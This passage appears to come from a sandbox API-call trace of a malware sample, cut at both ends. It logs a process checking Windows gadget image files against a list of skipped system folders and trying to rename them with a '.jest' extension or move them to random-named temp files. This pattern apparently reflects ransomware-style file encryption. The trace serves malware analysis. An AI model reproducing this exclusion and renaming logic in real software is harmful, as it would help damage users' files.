Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.030] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.030] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.030] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.030] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.031] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.031] CharLowerBuffW (in: lpsz="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", cchLength=0x57 | out: lpsz="c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png") returned 0x57 [0127.031] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.031] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0127.031] GetTickCount () returned 0x115233a [0127.031] GetTickCount () returned 0x115233a [0127.031] CoFreeUnusedLibraries () [0127.031] GetTickCount () returned 0x115233a [0127.031] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.031] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.031] GetTickCount () returned 0x115233a [0127.031] IsWindowVisible (hWnd=0x30268) returned 0 [0127.031] Sleep (dwMilliseconds=0x0) [0127.033] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png.jest" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png.jest")) returned 0 [0127.036] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", lpFilePart=0x18e6d8*="hint_up.png") returned 0x56 [0127.036] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba2721d9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xba2721d9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc095503c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x57, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 0x143ce48 [0127.037] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0127.038] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0127.038] VarBstrFromR4 (in: fltIn=0x47944574, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75914.91") returned 0x0 [0127.038] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0127.038] GetTickCount () returned 0x115233a [0127.038] GetTickCount () returned 0x115233a [0127.039] CoFreeUnusedLibraries () [0127.039] GetTickCount () returned 0x115233a [0127.039] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0127.039] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0127.039] GetTickCount () returned 0x115233a [0127.039] IsWindowVisible (hWnd=0x30268) returned 0 [0127.039] Sleep (dwMilliseconds=0x0) [0127.040] GetFullPathNameA (in: lpFileName="dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", lpFilePart=0x18e708*="dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp") returned 0x8c [0127.041] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png", lpFilePart=0x18e708*="hint_up.png") returned 0x56 [0127.041] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_up.png" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_up.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dms9lvwzut9meec7smgyxf_vozs fqyp9ffs3ijosbjsflo5yogbipuirnrfjw 7_lx2x2k34cmyb9y9vtbl5wuduqpuwj78vw.tmp")) returned 0 [0127.043] GetLastError () returned 0x5 [0127.043] GetLastError () returned 0x5 [0127.043] SetLastError (dwErrCode=0x5) [0127.043] GetLastError () returned 0x5 [0127.043] SetLastError (dwErrCode=0x5) [0127.043] GetLastError () returned 0x5 [0127.043] SetLastError (dwErrCode=0x5) [0127.043] GetFullPathNameA (in: lpFileName="dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", lpFilePart=0x18e6e4*="dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp") returned 0x8c [0127.043] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dms9lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x39736d64, cFileName="lvwzUt9MEEc7SMgYxf_vozS FqyP9fFS3IJosBjsflO5yoGbiPUiRNrfJw 7_LX2x2k34cmYb9y9VTbl5wudUQpuwJ78VW.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0127.044] GetLastError () returned 0x2 [0127.044] GetLastError () returned 0x2 [0127.044] SetLastError (dwErrCode=0x2) [0127.044] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.044] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.044] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.045] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.045] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.045] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.045] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.045] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.045] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.045] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.045] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png", cchLength=0x83 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\hint_up.png") returned 0x83 [0127.045] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.046] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.046] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.046] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.046] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.046] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.047] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.047] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.047] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.047] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.047] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.047] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\setting_back.png") returned 0x86 [0127.047] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.048] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.048] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.048] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.048] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.048] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.048] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.048] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.048] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.049] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.049] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.049] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\setting_back.png") returned 0x88 [0127.049] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.049] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.049] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.050] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.050] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.050] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.050] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.050] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.050] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.050] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.050] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.051] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_down.png") returned 0x86 [0127.051] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.051] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.051] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.051] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.051] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.051] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.052] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.052] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.052] CharLowerBuffW (in: lpsz="\\Microsoft\\Framework\\.NETFramework\\", cchLength=0x24 | out: lpsz="\\microsoft\\framework\\.netframework\\") returned 0x24 [0127.052] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.052] CharLowerBuffW (in: lpsz="\\SDK\\Bootstrapper\\Packages\\", cchLength=0x1c | out: lpsz="\\sdk\\bootstrapper\\packages\\") returned 0x1c [0127.052] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png", cchLength=0x88 | out: lpsz="c:\\windows\\winsxs\\amd64_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_ce76f352fa54bd75\\shuffle_down.png") returned 0x88 [0127.052] CharLowerBuffW (in: lpsz="\\Tools\\Binn\\ManagementStudio\\SqlWorkbenchProjectItems\\Sql\\", cchLength=0x3b | out: lpsz="\\tools\\binn\\managementstudio\\sqlworkbenchprojectitems\\sql\\") returned 0x3b [0127.053] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.053] CharLowerBuffW (in: lpsz="\\Windows\\", cchLength=0xa | out: lpsz="\\windows\\") returned 0xa [0127.053] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.053] CharLowerBuffW (in: lpsz="\\AppData\\Local\\Temp\\", cchLength=0x15 | out: lpsz="\\appdata\\local\\temp\\") returned 0x15 [0127.053] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: lpsz="c:\\windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png") returned 0x86 [0127.053] CharLowerBuffW (in: lpsz="\\Local Settings\\Temp", cchLength=0x15 | out: lpsz="\\local settings\\temp") returned 0x15 [0127.053] CharLowerBuffW (in: lpsz="C:\\Windows\\winsxs\\x86_microsoft-windows-g..picturepuzzlegadget_31bf3856ad364e35_6.1.7600.16385_none_725857cf41f74c3f\\shuffle_over.png", cchLength=0x86 | out: 